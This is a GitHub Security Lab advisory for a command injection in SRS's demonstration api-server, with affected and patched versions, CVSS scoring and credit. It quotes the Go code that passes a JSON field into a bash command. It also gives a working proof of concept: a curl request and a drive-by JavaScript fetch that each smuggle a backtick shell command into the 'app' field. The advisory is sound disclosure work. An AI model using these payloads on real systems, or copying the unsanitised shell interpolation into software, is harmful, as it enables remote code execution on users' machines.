Skip to content

Command injection in demonstration api-server for HTTP callback.

High
winlinvip published GHSA-vpr5-779c-cx62 Jun 10, 2023

Package

No package listed

Affected versions

v5.0.137~v5.0.156, v6.0.18~v6.0.47

Patched versions

v5.0.157, v5.0-b1, v6.0.48

Description

GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2023-025

The GitHub Security Lab team has identified a potential security vulnerability in SRS.

We are committed to working with you to help resolve this issue. In this report you will find everything you need to effectively coordinate a resolution of this issue with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at [email protected] (please include GHSL-2023-025 as a reference).

If you are NOT the correct point of contact for this report, please let us know!

Summary

SRS's api-server server is vulnerable to a drive-by command injection.

Product

SRS

Tested Version

v5.0-a4 or v5.0.137 or v5.0.156

v6.0.36 or v6.0.18

Details

Issue: Command injection (GHSL-2023-025)

The api-server server is vulnerable to command injection. An attacker may send a request to the /api/v1/snapshots endpoint containing any commands to be executed as part of the body of the POST request. The handler for the /api/v1/snapshots endpoint is:

	http.HandleFunc("/api/v1/snapshots", func(w http.ResponseWriter, r *http.Request) {
		if r.Method != "POST" {
			SrsWriteDataResponse(w, struct{}{})
			return
		}

		if err := func() error {
			body, err := ioutil.ReadAll(r.Body)
			if err != nil {
				return fmt.Errorf("read request body, err %v", err)
			}
			log.Println(fmt.Sprintf("post to snapshots, req=%v", string(body)))

			msg := &SrsSnapShotRequest{}
			if err := json.Unmarshal(body, msg); err != nil {                           // [1]
				return fmt.Errorf("parse message from %v, err %v", string(body), err)
			}
			log.Println(fmt.Sprintf("Got %v", msg.String()))

			if msg.IsOnPublish() {
				sw.Create(msg)                                                          // [2]
			} else if msg.IsOnUnPublish() {
				sw.Destroy(msg)
			} else {
				return fmt.Errorf("invalid message %v", msg.String())
			}

			SrsWriteDataResponse(w, &SrsCommonResponse{Code: 0})
			return nil
		}(); err != nil {
			SrsWriteErrorResponse(w, err)
		}
	})

The body of the POST request is unmarshalled in [1] and passed to the sw.Create method. The Create method will craft a RTMP URL using untrusted data (e.g.: the app value from the JSON request):

func (v *SnapshotWorker) Create(sm *SrsSnapShotRequest) {
	streamUrl := fmt.Sprintf("rtmp://127.0.0.1/%v/%v?vhost=%v", sm.App, sm.Stream, sm.Vhost)
	if _, ok := v.snapshots.Load(streamUrl); ok {
		return
	}
	sj := NewSnapshotJob()
	sj.SrsSnapShotRequest = *sm
	sj.updatedAt = time.Now()
	go sj.Serve(v.ffmpegPath, streamUrl) // [3]
	v.snapshots.Store(streamUrl, sj)
}

The streamUrl is then passed to the SnapshotJob.Serve() method which, in turn, passes it to the SnapshotWorker.do() method where the inputUrl is interpolated into the param variable which is later executed as a shell command:

	param := fmt.Sprintf("%v -i %v -vf fps=1 -vcodec png -f image2 -an -y -vframes %v -y %v", ffmpegPath, inputUrl, v.vframes, normalPicPath)
	log.Println(fmt.Sprintf("start snapshot, cmd param=%v", param))
	timeoutCtx, _ := context.WithTimeout(v.cancelCtx, v.timeout)
	cmd := exec.CommandContext(timeoutCtx, "/bin/bash", "-c", param)

This issue was found by the Command built from user-controlled sources CodeQL query.

Impact

This issue may lead to Remote Code Execution (RCE).

Proof of concept

  1. Start the api-server: go run server.go
  2. Send the following request to the /api/v1/snapshots endpoint:
curl -i -s -k -X $'POST' \
    -H $'Host: localhost:8085' -H $'Connection: close' -H $'Content-Type: application/json' \
    --data-binary $'{\"action\":  \"on_publish\",\"app\":  \"`touch /tmp/pwned`\", \"stream\":\"foo\", \"vhost\": \"foo\",\"client_id\":\"foo\"}' \
    $'http://localhost:8085/api/v1/snapshots'
  1. Check that a file named pwned will be created at /tmp

Note that even if port 8085 is only exposed on the localhost interface, an attacker may still be able to attack this service using what is known as a drive-by attack. For that purpose, an attacker can prepare a malicious site containing the following JS script:

<script>
	fetch("http://localhost:8085/api/v1/snapshots", {
        method: 'post',
        mode: 'no-cors',
        headers: {
            'Content-Type': 'text/plain'
        },
    	body: '{"action":  "on_publish", "app":  "`touch /tmp/pwned`", "stream":"foo", "vhost": "foo", "client_id":"foo"}',
	})
</script>

If the attacker fools the victim to visit this page while they have the api-server service running, they will be able to access and compromise the service remotely.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for this finding. This also allows you to invite the GHSL team to collaborate and further discuss this finding in private before it is published.

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2023-025 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-34105

Weaknesses

Credits